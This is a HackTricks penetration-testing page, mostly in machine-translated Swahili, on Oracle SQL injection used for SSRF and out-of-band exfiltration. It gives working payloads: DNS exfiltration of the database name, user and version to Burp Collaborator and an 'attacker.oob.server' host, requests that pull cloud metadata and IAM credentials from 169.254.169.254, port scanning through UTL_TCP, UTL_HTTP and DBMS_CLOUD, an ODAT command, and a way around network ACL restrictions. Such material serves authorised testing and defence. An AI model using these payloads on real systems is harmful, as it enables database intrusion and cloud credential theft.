Oracle injection
Reading time: 10 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tumikia nakala ya post hii kutoka kwa mashine ya wayback ya post iliyofutwa kutoka https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Kutumia Oracle kufanya maombi ya HTTP na DNS ya nje ya bendi ni vizuri imeandikwa lakini kama njia ya kutoa data ya SQL katika sindano. Tunaweza kila wakati kubadilisha mbinu/hifadhidata hizi kufanya SSRF/XSPA nyingine.
Kuweka Oracle kunaweza kuwa na maumivu sana, hasa ikiwa unataka kuanzisha mfano wa haraka kujaribu amri. Rafiki yangu na mwenzi katika Appsecco, Abhisek Datta, alinielekeza kwenye https://github.com/MaksymBilenko/docker-oracle-12c ambayo iliniruhusu kuanzisha mfano kwenye mashine ya t2.large AWS Ubuntu na Docker.
Nilifanya amri ya docker na bendera --network="host"
ili niweze kuiga Oracle kama usakinishaji wa asili wenye ufikiaji kamili wa mtandao, kwa kipindi cha blogpost hii.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Oracle packages that support a URL or a Hostname/Port Number specification
Ili kupata pakiti na kazi zozote zinazosaidia spesifikasiyo ya mwenyeji na bandari, nilifanya utafutaji wa Google kwenye Oracle Database Online Documentation. Kwa haswa,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
Matokeo ya utafutaji yalirudisha matokeo yafuatayo (siyo yote yanaweza kutumika kufanya mtandao wa nje)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Utafutaji huu wa kimsingi wazi unakosa pakiti kama DBMS_LDAP
(ambayo inaruhusu kupitisha jina la mwenyeji na nambari ya bandari) kama ukurasa wa hati unakuelekeza tu kwenye mahali pengine. Hivyo, kunaweza kuwa na pakiti nyingine za Oracle ambazo zinaweza kutumika vibaya kufanya maombi ya nje ambazo ningeweza kukosa.
Katika hali yoyote, hebu tuangalie baadhi ya pakiti ambazo tumegundua na kuorodhesha hapo juu.
DBMS_LDAP.INIT
Pakiti DBMS_LDAP
inaruhusu ufikiaji wa data kutoka kwa seva za LDAP. Kazi init()
inaanzisha kikao na seva ya LDAP na inachukua jina la mwenyeji na nambari ya bandari kama hoja.
Kazi hii imeandikwa kabla kuonyesha uhamasishaji wa data kupitia DNS, kama ilivyo hapa
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Hata hivyo, kutokana na kwamba kazi inakubali jina la mwenyeji na nambari ya bandari kama hoja, unaweza kutumia hii kufanya kazi kama skana ya bandari pia.
Hapa kuna mifano michache
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
A ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
inaonyesha kwamba bandari imefungwa wakati thamani ya kikao inaonyesha kwamba bandari iko wazi.
UTL_SMTP
Pakiti ya UTL_SMTP
imeundwa kwa ajili ya kutuma barua pepe kupitia SMTP. Mfano uliopewa kwenye tovuti ya nyaraka za Oracle unaonyesha jinsi unavyoweza kutumia pakiti hii kutuma barua pepe. Kwa sisi, hata hivyo, jambo la kuvutia ni uwezo wa kutoa maelezo ya mwenyeji na bandari.
Mfano wa kimsingi unaonyeshwa hapa chini na kazi ya UTL_SMTP.OPEN_CONNECTION
, ikiwa na muda wa kukatika wa sekunde 2.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
A ORA-29276: transfer timeout
inaonyesha kwamba bandari iko wazi lakini hakuna muunganisho wa SMTP ulioanzishwa wakati ORA-29278: SMTP transient error: 421 Service not available
inaonyesha kwamba bandari imefungwa.
UTL_TCP
Pakiti ya UTL_TCP
na taratibu na kazi zake zinaruhusu mawasiliano ya msingi ya TCP/IP na huduma. Ikiwa imeandikwa kwa huduma maalum, pakiti hii inaweza kwa urahisi kuwa njia ya kuingia kwenye mtandao au kutekeleza Maombi ya Kwanza ya Server Side kwani vipengele vyote vya muunganisho wa TCP/IP vinaweza kudhibitiwa.
Mfano katika tovuti ya hati za Oracle unaonyesha jinsi unavyoweza kutumia pakiti hii kufanya muunganisho wa raw TCP ili kupata ukurasa wa wavuti. Tunaweza kuifanya iwe rahisi zaidi na kuitumia kufanya maombi kwa mfano kwa mfano wa metadata au kwa huduma yoyote ya TCP/IP.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Kwa njia ya kuvutia, kutokana na uwezo wa kuunda maombi safi ya TCP, kifurushi hiki kinaweza pia kutumika kuhoji huduma ya meta-data ya Instance ya watoa huduma wote wa wingu kwani aina ya mbinu na vichwa vya ziada vinaweza kupitishwa ndani ya ombi la TCP.
UTL_HTTP na Maombi ya Mtandao
Labda mbinu inayojulikana zaidi na iliyoandikwa sana katika kila mafunzo ya Out of Band Oracle SQL Injection ni kifurushi cha UTL_HTTP
. Kifurushi hiki kimefafanuliwa na nyaraka kama - Kifurushi cha UTL_HTTP kinatoa wito wa Protokali ya Uhamasishaji wa Hypertext (HTTP) kutoka SQL na PL/SQL. Unaweza kukitumia kufikia data kwenye Mtandao kupitia HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Unaweza pia kutumia hii kufanya skanning ya bandari ya msingi pia na maswali kama
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
A ORA-12541: TNS:no listener
au TNS:operation timed out
ni ishara kwamba bandari ya TCP imefungwa, wakati ORA-29263: HTTP protocol error
au data ni ishara kwamba bandari iko wazi.
Pakia nyingine niliyotumia hapo awali kwa mafanikio tofauti ni GETCLOB()
method ya HTTPURITYPE
Oracle abstract type ambayo inakuwezesha kuingiliana na URL na inatoa msaada kwa protokali ya HTTP. GETCLOB()
method inatumika kupata jibu la GET kutoka kwa URL kama aina ya data ya CLOB.
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
Vifurushi na Mbinu za Ziada (Oracle 19c → 23c)
UTL_INADDR – Uhamasishaji wa DNS na ugunduzi wa mwenyeji
UTL_INADDR
inafichua wasaidizi rahisi wa kutatua majina ambao huanzisha utafutaji wa DNS kutoka kwa mwenyeji wa database. Kwa sababu ni lazima tu kuwa na domain (hakuna bandari/ACL inahitajika) ni msingi wa kuaminika kwa uhamasishaji wa kipofu wakati wito wengine wa mtandao umezuiwa.
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
get_host_address()
inarudisha IP iliyotatuliwa (au inatoa ORA-29257
ikiwa kutatuliwa kunashindwa). Mshambuliaji anahitaji tu kuangalia ombi la DNS linalokuja kwenye kikoa kilichodhibitiwa ili kuthibitisha utekelezaji wa msimbo.
DBMS_CLOUD.SEND_REQUEST – mteja kamili wa HTTP kwenye Autonomous/23c
Toleo la hivi karibuni linalozingatia wingu (Autonomous Database, 21c/23c, 23ai) linakuja na DBMS_CLOUD
. Kazi ya SEND_REQUEST
inafanya kazi kama mteja wa HTTP wa matumizi ya jumla unaounga mkono vitenzi maalum, vichwa, TLS na miili mikubwa, na kuifanya kuwa yenye nguvu zaidi kuliko UTL_HTTP
ya jadi.
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
Kwa sababu SEND_REQUEST
inaruhusu URIs za malengo zisizo na mipaka, inaweza kutumika vibaya kupitia SQLi kwa:
- Skanning ya bandari za ndani / SSRF kwa huduma za metadata za wingu.
- Uhamasishaji wa nje kupitia HTTPS (tumia Burp Collaborator au tunnel ya
ngrok
). - Mito ya kurudi kwa seva za mshambuliaji hata wakati pakiti za zamani za wito zimezuiliwa na ACLs.
ℹ️ Ikiwa una 19c ya jadi kwenye eneo lako lakini unaweza kuunda taratibu za kuhifadhi za Java, unaweza wakati mwingine kufunga DBMS_CLOUD
kutoka kwa kifurushi cha mteja wa OCI — muhimu katika baadhi ya ushirikiano.
Kuandaa uso wa shambulio kwa ODAT
ODAT – Oracle Database Attacking Tool imeendelea na toleo za kisasa (imejaribiwa hadi 19c, 5.1.1 – Apr-2022). Moduli za –utl_http
, –utl_tcp
, –httpuritype
na mpya –dbms_cloud
zinafanya moja kwa moja:
- Kugundua pakiti za wito zinazoweza kutumika / ruhusa za ACL.
- Kuanzisha DNS & HTTP mitandao ya kurudi kwa uhamasishaji wa kipofu.
- Kuzalisha mzigo wa SQL wa kunakiliwa kwa Burp/SQLMap.
Mfano: ukaguzi wa haraka wa OOB na akidi za default (inashughulikia uhesabu wa ACL kwa nyuma):
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
Recent network ACL restrictions & bypasses
Oracle ilikaza ACL za Mtandao za default katika CPU ya Julai 2023 — akaunti zisizo na mamlaka sasa zinapata ORA-24247: network access denied by access control list
kwa default. Mifano miwili bado inaruhusu callouts kupitia SQLi:
- Akaunti ya lengo ina kipengee cha ACL (
DBMS_NETWORK_ACL_ADMIN.create_acl
) ambacho kiliongezwa na mendezi kwa ajili ya uunganisho. - Mshambuliaji anatumia utaratibu wa PL/SQL wenye haki za mwelekeo wa juu (kwa mfano, katika programu maalum) ambayo tayari ina
AUTHID DEFINER
na ruhusa zinazohitajika.
Ikiwa unakutana na ORA-24247
wakati wa unyakuzi daima tafuta taratibu zinazoweza kutumika tena:
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
(in many audits at least one reporting/export procedure had the needed rights).
Marejeo
- Oracle Docs –
DBMS_CLOUD.SEND_REQUEST
pakiti maelezo na mifano. - quentinhardy/odat – Chombo cha Kushambulia Oracle Database (toleo jipya 5.1.1, Apr-2022).
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.